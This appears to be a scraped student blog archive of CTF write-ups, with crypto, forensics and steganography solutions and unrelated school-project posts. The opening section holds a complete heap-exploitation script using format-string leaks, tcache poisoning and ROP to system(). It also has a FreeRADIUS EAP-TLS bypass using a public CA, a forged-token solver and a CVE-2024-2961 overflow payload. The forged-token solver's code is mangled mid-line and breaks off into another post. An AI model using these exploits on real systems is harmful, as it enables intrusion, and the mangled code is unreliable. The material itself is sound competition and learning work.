這題是 FreeRADIUS / EAP-TLS。題目給的 freeradius/cert/ca.pem 不是內部 CA，而是公開的 Actalis Authentication Root CA，所以只要拿一張 Actalis 簽出的 client authentication certificate，就可以被當成合法 staff cert 通過驗證。
Exploit:

檢查 FreeRADIUS 的 EAP-TLS 設定，發現 client cert 信任 freeradius/cert/ca.pem
確認 ca.pem 是 Actalis Authentication Root CA
申請免費 Actalis client certificate，匯出 client.crt / client.key / chain.pem
只保留 leaf + Actalis Client Authentication CA G3，不要把 root 一起送，避免 packet 太大
用 eapol_test 跑 EAP-TLS，成功後從 Reply-Message 拿 flag


staff.conf

network={
    key_mgmt=IEEE8021X
    eap=TLS
    identity="your_mail@example.com"
    ca_cert="freeradius/cert/ca.pem"
    client_cert="client-min-chain.pem"
    private_key="client-clean.key"
    fragment_size=400
}

Flag: NHNC{Huh...HoW_did_U_10g_iN?_https://zeroday.hitcon.org/vulnerability/ZD-2025-00549}

67 login system

Author: Auron

題目是一個 login system，使用者資料會用 malloc(0x48) 配置，結構大概是 name[0x40] + FILE*。漏洞點有兩個：show 會直接 printf(username) 造成 format string leak，update 會對 0x48 的 chunk 讀入 0x200 bytes，造成 heap overflow。利用 overflow 改壞後面 FILE chunk 的 size，製造 heap overlap，再 tcache poisoning 控制 .bss 上的 slots[]，最後任意讀 leak libc，任意寫蓋 stack return address 打 system("cat /flag.txt")。
Exploit:

用 %7$p leak PIE，%13$p leak stack hint。
show raw output leak slot0 後面的 FILE* heap address。
overflow slot0，把後面 FILE chunk size 從 0x1e1 改成 0x51。
delete(slot0) 時 fclose(FILE*) 會把 fake 0x50 chunk 放進 tcache。
重新 malloc 拿到舊 FILE chunk，造成 overlap，可以 overflow 到後面的 user chunk。
free user chunk 後改 tcache next，safe-linking encode 成 slots[]。
malloc 到 slots[]，取得任意讀寫。
leak read@got 算 libc base。
掃 stack 找 main 裡 show/update 回來的位置，最後蓋 saved RIP。
ROP 呼叫 system("cat /flag.txt") 拿 flag。


solver.py

#!/usr/bin/env python3
from pwn import *
import os
import re

BIN = "./chal" if os.path.exists("./chal") else "./share/chal"
LIBC = "./libc.so.6"

context.binary = exe = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)
context.log_level = "info"

HOST = "txg.chal2.teagod.tech"
PORT = 16767

PROMPT = (
    b"1. register\n"
    b"2. show\n"
    b"3. login\n"
    b"4. update\n"
    b"5. delete\n"
    b"6. exit\n"
    b"> "
)

OFF_PIE_LEAK_RET = 0x209c
OFF_SLOTS = 0x4060
OFF_READ_GOT = 0x3f88
OFF_RET = 0x101a
OFF_MAIN_AFTER_SHOW = 0x165c

def p64x(x):
    return p64(x & 0xffffffffffffffff)

def start():
    return remote(HOST, PORT) if args.REMOTE else process([exe.path])

io = start()
io.recvuntil(PROMPT)

def menu(n):
    io.sendline(str(n).encode())

def reg(data):
    menu(1)
    io.recvuntil(b"username: ")
    io.send(data)
    return io.recvuntil(PROMPT)

def show(idx):
    menu(2)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    return io.recvuntil(PROMPT)

def upd(idx, data):
    menu(4)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"new username: ")
    io.send(data)
    return io.recvuntil(PROMPT)

def dele(idx):
    menu(5)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    return io.recvuntil(PROMPT)

def raw_from_show(out):
    i = out.rfind(PROMPT)
    return out[i - 0x48:i]

def set_slots(s0=0, s1=None, s2=0, s3=0):
    if s1 is None:
        s1 = slots
    upd(1, flat(p64x(s0), p64x(s1), p64x(s2), p64x(s3)))

def leak48(addr):
    set_slots(s0=addr)
    return raw_from_show(show(0))

def find_stack_ret(stack_hint):
    target = pie + OFF_MAIN_AFTER_SHOW
    start = (stack_hint - 0x500) & ~0xf
    end = stack_hint + 0x300

    for addr in range(start, end, 0x40):
        data = leak48(addr)
        for off in range(0, 0x48, 8):
            if u64(data[off:off + 8]) == target:
                return addr + off

    return stack_hint - 0x120

def find_exec_gadget(elf, pat):
    data = open(elf.path, "rb").read()

    for seg in elf.segments:
        h = seg.header
        if h.p_type != "PT_LOAD":
            continue
        if not (int(h.p_flags) & 1):
            continue

        off = int(h.p_offset)
        size = int(h.p_filesz)
        vaddr = int(h.p_vaddr)

        idx = data[off:off + size].find(pat)
        if idx != -1:
            return elf.address + vaddr + idx

    return None

def make_system_rop(arg):
    ret = pie + OFF_RET

    pop_rdi = find_exec_gadget(libc, b"\x5f\xc3")
    if pop_rdi:
        return flat(ret, pop_rdi, arg, libc.sym["system"])

    pop_rdi_rbp = find_exec_gadget(libc, b"\x5f\x5d\xc3")
    if pop_rdi_rbp:
        return flat(pop_rdi_rbp, arg, 0, libc.sym["system"])

    pop_rdi_r12 = find_exec_gadget(libc, b"\x5f\x41\x5c\xc3")
    if pop_rdi_r12:
        return flat(pop_rdi_r12, arg, 0, libc.sym["system"])

    raise RuntimeError("no gadget")

fmt = b"%7$p.%13$p.\n"
reg(fmt)

out = show(0)
line = out.split(b"\n", 1)[0]

m = re.search(
    rb"username:\s*(0x[0-9a-fA-F]+|\(nil\))\.(0x[0-9a-fA-F]+|\(nil\))\.",
    line
)

pie = int(m.group(1), 16) - OFF_PIE_LEAK_RET
stack_hint = int(m.group(2), 16)

raw = raw_from_show(out)
fp0 = u64(raw[0x40:0x48])

A = fp0 - 0x50
B = A + 0x230

slots = pie + OFF_SLOTS
read_got = pie + OFF_READ_GOT

log.info(f"PIE        = {hex(pie)}")
log.info(f"stack hint = {hex(stack_hint)}")
log.info(f"FILE0      = {hex(fp0)}")
log.info(f"slots[]    = {hex(slots)}")

reg(b"B" * 0x3f + b"\n")

upd(0, b"C" * 0x40 + p64x(fp0) + p64x(0x51))
dele(0)

reg(b"D" * 0x3f + b"\n")
reg(b"E" * 0x3f + b"\n")

dele(0)
dele(1)

enc = slots ^ (B >> 12)
upd(2, b"F" * 0x1e0 + p64x(enc) + p64x(0))

reg(b"G" * 0x3f + b"\n")
reg(p64x(0) + p64x(0) + p64x(0) + p64x(0))

log.success("controlled slots[]")

read_addr = u64(leak48(read_got)[:8])
libc.address = read_addr - libc.sym["read"]

log.success(f"libc base = {hex(libc.address)}")

stack_ret = find_stack_ret(stack_hint)
log.success(f"stack ret = {hex(stack_ret)}")

cmd_addr = slots + 0x80

payload = flat(
    p64x(stack_ret),
    p64x(slots),
    p64x(0),
    p64x(0),
)

payload = payload.ljust(0x80, b"\x00") + b"cat /flag.txt\x00"
upd(1, payload)

rop = make_system_rop(cmd_addr)

menu(4)
io.recvuntil(b"slot: ")
io.sendline(b"0")
io.recvuntil(b"new username: ")
io.send(rop.ljust(0x200, b"\x00"))

print(io.recvall(timeout=3).decode(errors="ignore"))

Flag:
NHNC{0x67676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767_sixseven!!!}

Confused Component - Rev

Author: hsuan0223x

這題是 Web 題的延伸。先用 Web 題找到的 static handler bypass 洩漏同一個 instance 的 auth component，接著從 wasm 裡找出 CCVM1 blob，實作 VM 後對 admin payload 算 proof。最後把 {uid, team, exp, nonce, proof} 做 canonical JSON，再 base64url 成 Bearer token 打 /admin/flag。
Exploit:

從同一個 instance leak component：/assets/manual.css;handler=component;name=auth
在 wasm 裡搜尋 CCVM1，切出 constants 和 bytecode
從 /api/info 拿 team 和 server_time
nonce = sha256(f"{team}:{server_time}")[:16]
對 admin core payload 做 canonical JSON
用 VM 跑出 32 bytes proof
final payload 加上 proof 後 base64url，作為 Authorization: Bearer  打 /admin/flag


solver.py

#!/usr/bin/env python3
import base64, hashlib, json, struct, sys
import requests

BASE = sys.argv[1].rstrip("/")
MASK = 0xffffffff

def b64(x):
    return base64.urlsafe_b64encode(x).rstrip(b"=").decode()

def canon(o):
    return json.dumps(o, separators=(",", ":"), sort_keys=True).encode()

def u32(b, i):
    return struct.unpack_from("> (32 - n))) & MASK

def get_component():
    r = requests.get(BASE + "/assets/manual.css;handler=component;name=auth")
    r.raise_for_status()
    return r.content

def parse_ccvm(wasm):
    p = wasm.find(b"CCVM1")
    assert p != -1
    clen, blen = struct.unpack_from("



TSCCTF 2026 writeup
xzhiyouu62 — 2026-03-03T00:00:00.000Z

前言
這是我第一次打 TSCCTF，這應該是辦給大學生打的 CTF，不過有公開組就來體驗一下，最後也是打到第 13 名。雖然有些題目是 AI 打出來的，但是也讓我學到很多！



Pwn
Magic Word
程式讀取一行字串後會呼叫
iconv_open("ISO-2022-CN-EXT", "UTF-8");
iconv(cd, &inptr, &inlen, &outptr, &outlen);

且輸出 buffer 與 magic 放在同一個 packed struct：
struct {
  char output[32];
  uint32_t magic;
} __attribute__((packed)) ctx;

最後檢查
if (ctx.magic != 0) win();

所以只要讓 ctx.magic 變成非 0 就能進入 win() 拿到 shell。
經過搜尋後發現這其實是 CVE-2024-2961
漏洞原理參考：https://hackmd.io/@yjk930805/HJzCZdtLxx
from pwn import *

context.binary = ELF("./magic_word")
context.log_level = "info"

io = remote("172.31.3.2", 40002)

payload = b"A" * 31 + "劄".encode("utf-8")

io.recvuntil(b"Magic word: ")
io.sendline(payload)

io.interactive()


writeup 尚未完成


PwnSec CTF 2025 Forensics-HiddenData writeup
xzhiyouu62 — 2025-11-18T00:00:00.000Z

CTFtime: https://ctftime.org/event/2906

下載後會發現是一個Windows的檔案

題目敘述提到了 chatting ，所以可能跟 Discord 有關

上網找了一下有關 Discord chatting Forensics 的資料

找到這篇報告 link

可以發現 Discord 的聊天紀錄都會儲存在 \AppData\Roaming\discord\Cache\Cache_Data 這個快取裡面，並且報告中提到可以使用 ChromeCacheView 這個工具檢視 Discord 的快取檔案


找到有 /messages?limit=50 的檔案

打開後可以發現這個

  {
    "type": 0,
    "content": "Got it I'll copy it now",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [],
    "timestamp": "2025-10-31T10:18:20.453000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433762006892023870",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1377987216671772784",
      "username": "username12345_12345",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
  {
    "type": 0,
    "content": "After 5 minutes, the password will be deleted.",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [],
    "timestamp": "2025-10-31T10:17:47.513000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433761868731912332",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1427528808570814615",
      "username": "zero____day0",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
  {
    "type": 0,
    "content": "Here’s the secret link — https://pastebin.com/AAGyxC3p",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [
      {
        "type": "link",
        "url": "https://pastebin.com/AAGyxC3p",
        "title": "Pastebin.com - Locked Paste",
        "description": "Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.",
        "provider": {
          "name": "Pastebin"
        },
        "content_scan_version": 0
      }
    ],
    "timestamp": "2025-10-31T10:17:20.211000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433761754219020439",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1427528808570814615",
      "username": "zero____day0",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },

發現 https://pastebin.com/AAGyxC3p

但進去後要輸入密碼才能打開

從聊天紀錄推測出他複製了密碼

所以必須從 Windows 的紀錄中找到他到底複製了什麼

上網爬了一下資料發現這個文章 link

使用者的很多行為都會記錄在 \AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db 之下

這邊使用 DB Browser for SQLite 去看這個 database


解碼 base64 之後發現密碼是 Th1$_1$_r3@l_p@$$w0rd!
貼到剛剛對話中出現的連結後就可以拿到 flag 了

Flag: flag{12d65e001866f854c23a48f0d47957ed}


V1t CTF 2025 writeup
xzhiyouu62 — 2025-11-03T00:00:00.000Z

CTFtime: https://ctftime.org/event/2920
Author: xzhiyouu
Please don’t mind my broken English.
This is the first CTF I played with Flagaholic.

We got TOP 5 in the end.

There were a total of 1237 participating teams.

Thanks to my teammate and I 

Final Scoreboard here~


I will write writeups for some interesting or guessy challenges.

[Misc] Dont Bother

This challenge was too guessy, so out of more than 1,200 teams, only 16 managed to solve it.
Here’s my solution.
The image is 512×512 and in RGB format. Most pixels share the same base color (64, 77, 205).
Some pixels have been increased by 2 in certain channels (only 0 or +2, never a decrease), so they differ slightly from the base color.
The image is divided into many small square blocks, and only those along the main diagonal contain these “+2 footprints.”
In each diagonal block, if you sum up all the “+2 occurrences” of its pixels, you get an integer.
That sequence of integers represents ASCII codes, which together form the flag.
Solution code~
from PIL import Image
import numpy as np

img = Image.open("chal.jpg").convert("RGB")
arr = np.array(img, dtype=np.uint8)
base = np.array([64, 77, 205], dtype=np.int32)

delta = arr.astype(np.int32) - base
steps = np.clip(delta, 0, None) // 2
steps = steps.sum(axis=2)

n = 32
h, w = steps.shape
bh, bw = h // n, w // n
codes = []
for i in range(n):
    block = steps[i*bh:(i+1)*bh, i*bw:(i+1)*bw]
    codes.append(block.sum())

flag = ''.join(chr(c) for c in codes).rstrip('\x00')
print(flag)
# v1t{c4nt_B3_both3r3d_vnkud1837}

GUESSY CHALL :>

[Misc] MOOOO

This is a cool challenge lol
You can find comment with COW programming language through exiftool.
After running the code, we got thismaybeapasswordbutwhoreallyknowsimjustmessginitisapassword
Do steghide to MOOOO.jpeg, and got TRYYY.txt
there are many invisible spaces in the .txt file
Since I played SCIST Final CTF before, someone made a tool for solving this problem.
Got the flag v1t{D0wn_Th3_St3gN0_R4bb1t_H0l3}

[Forensics] Tryna crack?

This challenge also guessy, many people try to brute force the zip file password, but actually you can solve it with the tool “bkcrack”
I got quackquackquack.png after extracting challenge.zip.
After checking with exiftool, I found a comment that says
password for zip file =)))) D4mn_br0_H0n3y_p07_7yp3_5h1d
BUT THE FLAG ISN’T v1t{D4mn_br0_H0n3y_p07_7yp3_5h1d}
lots of people are stuck here lol
I looked deeper and tried adjusting the image’s width and height, then got this.

The Morse code below translates to “SHA512.”
So it’s clear that the flag is supposed to be the SHA-512 of D4mn_br0_H0n3y_p07_7yp3_5h1d.
Got flag v1t{7083748baa3a42dc0a93811e4f5150e7ae1a050a0929f8c304f707c8c44fc95d86c476d11c9e56709edc30eba5f2d82396f426d93870b56b1a9573eaac8d0373}


osu!gamingCTF 2025 writeup
xzhiyouu62 — 2025-10-28T00:00:00.000Z


這幾天準備模考有點累，剛好看到有好玩的CTF，主要還是打crypto，這次8題打出5題，覺得還行，找幾題有趣的題目寫writeup。
I’ve been a bit tired these days preparing for the GSAT, and I happened to come across an interesting CTF. I mainly focused on crypto challenges. There were 8 problems this time, and I solved 5 of them, which I think is pretty decent. I’m planning to write writeups for a few of the more interesting ones.

rot727
i rotated my flag 727 times! that’s super secure right
aeg{at_imuf_nussqd_zgynqd_paqezf_yqmz_yadq_eqogdq}

就凱撒加密
Caesar Cipher
Flag: osu{oh_wait_bigger_number_doesnt_mean_more_secure}

ssss
can you ss this secret sharing scheme?
nc ssss.challs.sekai.team 1337

#!/usr/local/bin/python3
from Crypto.Util.number import *
import random

p = 2**255 - 19
k = 15
SECRET = random.randrange(0, p)

def lcg(x, a, b, p):
    return (a * x + b) % p

a = random.randrange(0, p)
b = random.randrange(0, p)
poly = [SECRET]
while len(poly) != k: poly.append(lcg(poly[-1], a, b, p))

def evaluate_poly(f, x):
    return sum(c * pow(x, i, p) for i, c in enumerate(f)) % p

print("welcome to ssss", flush=True)
for _ in range(k - 1):
    x = int(input())
    assert 0 < x < p, "no cheating!"
    print(evaluate_poly(poly, x), flush=True)

if int(input("secret? ")) == SECRET:
    FLAG = open("flag.txt").read()
    print(FLAG, flush=True)


解法：
假設質數 p=2255−19p = 2^{255} - 19p=2255−19
現有一個未知的 141414 次多項式
f(x)=∑i=014cixi∈Fp[x]f(x) = \sum_{i=0}^{14} c_i x^i \in \mathbb{F}_p[x]f(x)=i=0∑14cixi∈Fp[x]
其係數滿足遞推關係：
ci+1≡aci+b(modp)c_{i+1} \equiv a c_i + b \pmod{p}ci+1≡aci+b(modp)
我們可以查詢 fff  在任意 141414 個非零點的值，目標是求出 c0c_0c0。
首先，對 f(x)f(x)f(x) 在 141414 個非零點進行查詢，可以得到包含 c0,c1,…,c14c_0, c_1, \dots, c_{14}c0,c1,…,c14 的 141414 條線性方程式。

由於變數共有 151515 個，透過高斯消元可以將每個 cic_ici 表示為 c0c_0c0 的線性函數。
由遞推關係可得：
(ci+2−ci+1)2≡(ci+1−ci)(ci+3−ci+2)(modp)(c_{i+2} - c_{i+1})^2 \equiv (c_{i+1} - c_i)(c_{i+3} - c_{i+2}) \pmod{p}(ci+2−ci+1)2≡(ci+1−ci)(ci+3−ci+2)(modp)
將前一步的線性表示代入，可得到一個關於 c0c_0c0 的二次方程式。
最後，在 modmodmod ppp 下對此二次方程求解，並透過二次剩餘檢查來確定正確的 c0c_0c0。

Solution:
Assume the prime p=2255−19p = 2^{255} - 19p=2255−19
We have an unknown degree-141414 polynomial
f(x)=∑i=014cixi∈Fp[x]f(x) = \sum_{i=0}^{14} c_i x^i \in \mathbb{F}_p[x]f(x)=i=0∑14cixi∈Fp[x]
whose coefficients satisfy the recurrence:
ci+1≡aci+b(modp)c_{i+1} \equiv a c_i + b \pmod{p}ci+1≡aci+b(modp)
We are allowed to query the value of fff at any 141414 non-zero points, and the goal is to determine c0c_0c0.
First, by querying f(x)f(x)f(x) at 141414 distinct non-zero points, we obtain 141414 linear equations involving c0,c1,…,c14c_0, c_1, \dots, c_{14}c0,c1,…,c14.

Since there are 151515 variables in total, we can use Gaussian elimination to express each cic_ici as a linear function of c0c_0c0.
From the recurrence relation we have:
(ci+2−ci+1)2≡(ci+1−ci)(ci+3−ci+2)(modp)(c_{i+2} - c_{i+1})^2 \equiv (c_{i+1} - c_i)(c_{i+3} - c_{i+2}) \pmod{p}(ci+2−ci+1)2≡(ci+1−ci)(ci+3−ci+2)(modp)
Substituting the linear expressions obtained above yields a quadratic equation in c0c_0c0.
Finally, we solve this quadratic equation modulo ppp and determine the correct solution by checking quadratic residues.
Flag: osu{0n3_hundr3d_p3rc3nt_4ccur4cy!}


資訊班成發專題 - 導盲犬機器車
xzhiyouu62 — 2025-09-01T00:00:00.000Z
這篇文章已上鎖，請前往網站輸入密碼閱讀。


2025 Taiwan & Korea Open Data Analysis Project
xzhiyouu62 — 2025-08-29T00:00:00.000Z

Written by Hsieh Chih-Yu

Daily Activity Sketch





















Date Activity
Aug 19 Meet study partners, ice-breaking, open data introduction
Aug 20 Project idea and making
Aug 21 Project sharing, visit Google office

Memorable Highlights

Working and learning with Korean partners
Visiting Google’s office in Taipei 101


Reflections
這次很高興有機會可以成為班上前20名的同學代表參加臺韓學生交流公開資料分析專題的活動，從第一天的會面到第三天的Google參訪，真的是收穫滿滿。
首先，第一天抵達了國立師範大學和平校區，在那裡見到了我的兩位韓國學伴，雖然很想趕快與他們交流溝通，但是因為語言的不通，我們最後仍以訊息傳送的方式了解彼此。這次的上課老師是 JP老師，剛開始的時候老師為了拉近與學生的距離，特別挑了一支舞蹈邀請我們暖暖身，接著就是重要的公開數據介紹了。老師講解了公開數據的三個特點、如何五步驟完成公開資料專案，並介紹了幾種數據處理的方式。
再來輪到我們發想專題，我們最後決定以「臺灣與韓國的老年人口」為主軸做發想，製作了「Cheonwan」專題，並且成功在第三天的發表會上展示了我們的成果，也如願參觀了Google的辦公室，從77樓俯瞰下去，景色真的很漂亮！謝謝羅老師給了我機會參加這次活動！

I was very happy to be one of the top 20 students in my class to join the Taiwan-Korea Student Exchange: Open Data Analysis Project. From the first day’s meeting to the third day’s Google office visit, I learned a lot.
On the first day, I went to NTNU Hoping Campus and met my two Korean partners. I wanted to talk with them, but because of language problems, we mostly used messages to communicate. The teacher, Professor JP, started with a short dance to help us feel relaxed, then gave an introduction to open data. He explained three features of open data, a five-step process to finish a project, and some methods for data processing.
For our project, we chose the topic “Elderly Population in Taiwan and Korea” and created “Cheonwan.” On the third day, we presented our work successfully and then visited Google’s office. The view from the 77th floor was amazing. I am very thankful to Professor Lo for giving me this chance to join the event.

Event Photos


JP teaching




Group partners




Practicing presentation




Professor Lo and JP




Presenting at Google




Group photo





Project Presentation

View on Website: Link
View on Canva: Link


Attachments

Tool I made for analyzing CSV files and making charts
(GitHub Link)



Public Data Project Guide
xzhiyouu62 — 2025-08-20T00:00:00.000Z

Introduction
Public data refers to information created and managed by government or public organizations that is freely available to anyone. This valuable resource can be used to improve the world.
Key Benefits:

Free Usage: Most public data is free to use.
Freedom of Use: It can be utilized for educational, research, business, and other purposes.
Creating New Value: Data processing can lead to innovative services or applications.

5-Step Guide to Completing a Public Data Project
1. Define the Problem
The first step is to define the problem you aim to solve. This could range from small inconveniences to larger societal issues.
2. Collect Data
Once the problem is defined, gather the necessary data to address the issue.
3. Analyze Data
The next step is to process and analyze the collected data for insights.
4. Propose Solutions
Based on the data analysis, suggest potential solutions to the problem.
5. Publish Results
Finally, share your findings and solutions with the public.
Core Technologies

Big Data Analytics: Tools for handling large volumes of data.
Data Visualization: Representing data through charts and graphs for better understanding.
Machine Learning: Using algorithms to improve decision-making and predictions.

Success Tips

Ensure proper data privacy to avoid leaks or misuse.
Use interactive methods to present the data for better engagement and understanding.

Conclusion
Public data can be a powerful tool for innovation. By following these steps and leveraging the right technologies, one can create impactful solutions.


資安實務素養 「自主學習」 CTF 挑戰賽
xzhiyouu62 — 2025-05-15T00:00:00.000Z

心得
因為我的資訊老師是 isip 的中心老師，所以我們有這個機會可以接觸到更多有關資安的知識。我對資安這個領域充滿興趣，平時就會找線上的 CTF 平台練習，偶爾會看看 CTFtime 上有什麼比較簡單的比賽可以讓我試水溫，也因為這樣，我覺得這個 CTF 挑戰賽的題目偏簡單，但也讓我多了學習資安的機會。


參賽證明



個人賽
ROT 47 [10]
你知道下列文字如何解密嗎？$F3DE:EFE:@? r:A96C

請把解開的內容變成 Flag 格式，如解開 AABBCCDD，請變成 CTF{AABBCCDD}
Key 格式：CTF{您的答案}

使用線上解密：https://www.dcode.fr/rot-47-cipher
Flag: CTF{Substitution Cipher}

Morse Code 解碼 [20]
描述：編碼與解碼是資訊領域日常都在使用的技術，如 ASCII、Base64、Base32 各有其適用處，請問你對 Base64 編碼與解碼的技術了解嗎？

你知道如何解碼下列資訊嗎？
.- .-.. ..-. .-. . -.. / .-.. . .-- .. ... / ...- .- .. .-.. / .-.-. / -- --- .-. ... .

Key 格式：CTF{您的答案}

使用線上解密：https://morsecode.world/international/translator.html
Flag: CTF{ALFRED LEWIS VAIL + MORSE}

被關的凱撒 [50]
凱撒大帝被敵人抓住後，關在一個 5 階的柵欄中。他寫了一個求救文，而您能從中找出關鍵資料來拯救他嗎？
Key 格式：CTF{您的答案}

題目附加檔案：GDS.zip，解壓後得到 GDS.txt。
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ unzip GDS.zip
  inflating: GDS.txt
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat GDS.txt
AH6sxcffw1cjio1oxrr9uf/dmnwP:jt3axq:8stu

從題目敘述可推得密文使用 Caesar cipher 與 Rail fence cipher。不過這題的 Rail fence 並非 W 型，而是將明文平均切成 N 等份後依序排列。
找到線上解密工具：https://www.metools.info/code/fence155.html
解密結果：Account:Hfjxfw386fir/Password:xtx119mjqu
再將兩段字串做 Caesar cipher decode，即可得到最終 flag。
Flag: CTF{Caesar386adm/sos119help}

瑪麗皇后的智慧 [50]
Mary Queen 瑪麗·史都華密碼。
提示：你了解附圖的文字意思嗎？
Key 格式：CTF{您的答案}


上網搜尋可找到解密工具：https://www.dcode.fr/mary-stuart-code
Flag: CTF{STEGANOGRAPHCRYTOGRAPHY}

ROT13 [50]
ROT13 是一種簡單的凱撒密碼，它將字母表中的每個字母向右移動 13 位。
PGS{TBBQ QNL! E.B.P.}
Key 格式：CTF{您的答案}

xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "PGS{TBBQ QNL! E.B.P.}" | rot13
CTF{GOOD DAY! R.O.C.}

Flag: CTF{GOOD DAY! R.O.C.}

文字變亂碼 [50]
小華向 MIS 人員說明，客戶寄來的信都變成了亂碼。您能幫他還原成正常的文字嗎？
檔案：Email.7z
Key 格式：CTF{您的答案}

解壓後得到 Email.txt，內容明顯是 base64 編碼：
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat Email.txt
6Iqx6JOu5LiA5ZCN5LqU...（略）
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "6Iqx6JOu..." | base64 -d
...
CTF{**eMAIL**bas64**}

Flag: CTF{**eMAIL**bas64**}

維吉尼爾密碼 [50]
維吉尼爾密文為？ Vhixoieemksktorywzvhxzijqni
提示：凱撒就是一切，但他把凱撒密法提升到了一個新的層次。
參考：https://www.guballa.de/vigenere-solver
Key 格式：CTF{您的答案}

Flag: CTF{Theforceisstrongwiththisone}

團體賽
NIST 資安風險管理 [30]
描述：請觀察附圖，NIST 提出的網路安全框架 CSF。
提示：NIST 核心，key 為 5 位數，順時針方向、識別 1、保護 3、偵測 3、回應 5、復原 1 的每個類別一共有幾個分項數？
Key 格式：CTF{您的答案}


Flag: CTF{68521}

詩文寄情 [50]
一首詩文，內有什玄機？
Key 格式：CTF{您的答案}

給了一個 Word 檔，開啟隱藏字元後可見 flag。

Flag: CTF{Cipher/Cvy36}

Strings it!!! [50]
描述：使用一些指令來幫助您找到字串中的旗標。
Key 格式：CTF{您的答案}

題目附加檔案：strings
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ strings strings | grep CTF
picoCTF{5tRIng5_1T_7f766a23}

Flag: CTF{5tRIng5_1T_7f766a23}

Metadata 元資料 [80]
內容：檔案的元資料總是可以更改。你能找到那面旗幟嗎？
提示：1. 檢視圖片檔案元資料詳細內容 2. 運用線上 base64decode.org 解開 base64 編碼
Key 格式：CTF{ }

題目附加檔案：rabbit-6.jpg
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ exiftool rabbit-6.jpg
...
XP Keywords  : Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9
Subject      : Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9

找到 base64 編碼字串後解碼得到 flag：
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9" | base64 -d
CTF{2024 9/25 1500 左營高鐵7-11見}

Flag: CTF{2024 9/25 1500 左營高鐵7-11見}

黑與白 [100]
黑白之間，藏有重要資訊，請將他找出來吧。
Key 格式：CTF{ }

題目給了 base64 編碼過的圖片資料，解碼後得到 QR code。

拿去線上掃描或手機掃描即可得到 flag。
Flag: CTF{OKS5543/891HHFR}

Doraemons 俄羅斯娃娃 [100]
提示：在 Kali Linux 中應用 binwalk 尋找 Doraemons.jpg 中的 Key。
Key 格式：isipCTF{AABBCCDD}

xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ binwalk Doraemons.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
0             0x0             JPEG image data, JFIF standard 1.01
18043         0x467B          Zip archive data ... name: 2_with_3.jpg
37726         0x935E          End of Zip archive

使用 binwalk -e 一路解到底，最終在最深層找到 flag：
xzhiyouu@DESKTOP-9SMADFC:~/.../isipCTF$ strings 4_with_flag.jpg | grep CTF
isipCTF{336cf6d51c9d9774fd37196c1d7320ff}

# 或直接 cat 最底層的 flag.txt
xzhiyouu@DESKTOP-9SMADFC:~/.../isipCTF$ cat flag.txt
isipCTF{336cf6d51c9d9774fd37196c1d7320ff}

Flag: isipCTF{336cf6d51c9d9774fd37196c1d7320ff}

小熊維尼 Winnie [100]
密碼為：isip2024
使用工具：https://futureboy.us/stegano/decinput.html
Key 格式：CTF{您的答案}

使用 steghide 提取隱藏資料：
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ steghide extract -sf winnie-the-poohsteg.jpg
Enter passphrase:
wrote extracted data to "steganopayload147315.txt".
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat steganopayload147315.txt
Q1RGe1RoZSBNYW55IEFkdmVudHVyZXMgb2YgV2lubmllIHRoZSBQb29ofQ==
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "Q1RGe1RoZSBNYW55IEFkdmVudHVyZXMgb2YgV2lubmllIHRoZSBQb29ofQ==" | base64 -d
CTF{The Many Adventures of Winnie the Pooh}

Flag: CTF{The Many Adventures of Winnie the Pooh}

尋找線索 [100]
小明刑警從駭客筆電中找到了一個可疑檔案，懷疑檔案內容中有重要線索，您能幫忙找出來嗎？
本題答案由兩組字串組成 Key 格式：CTF{您的答案1+您的答案2}

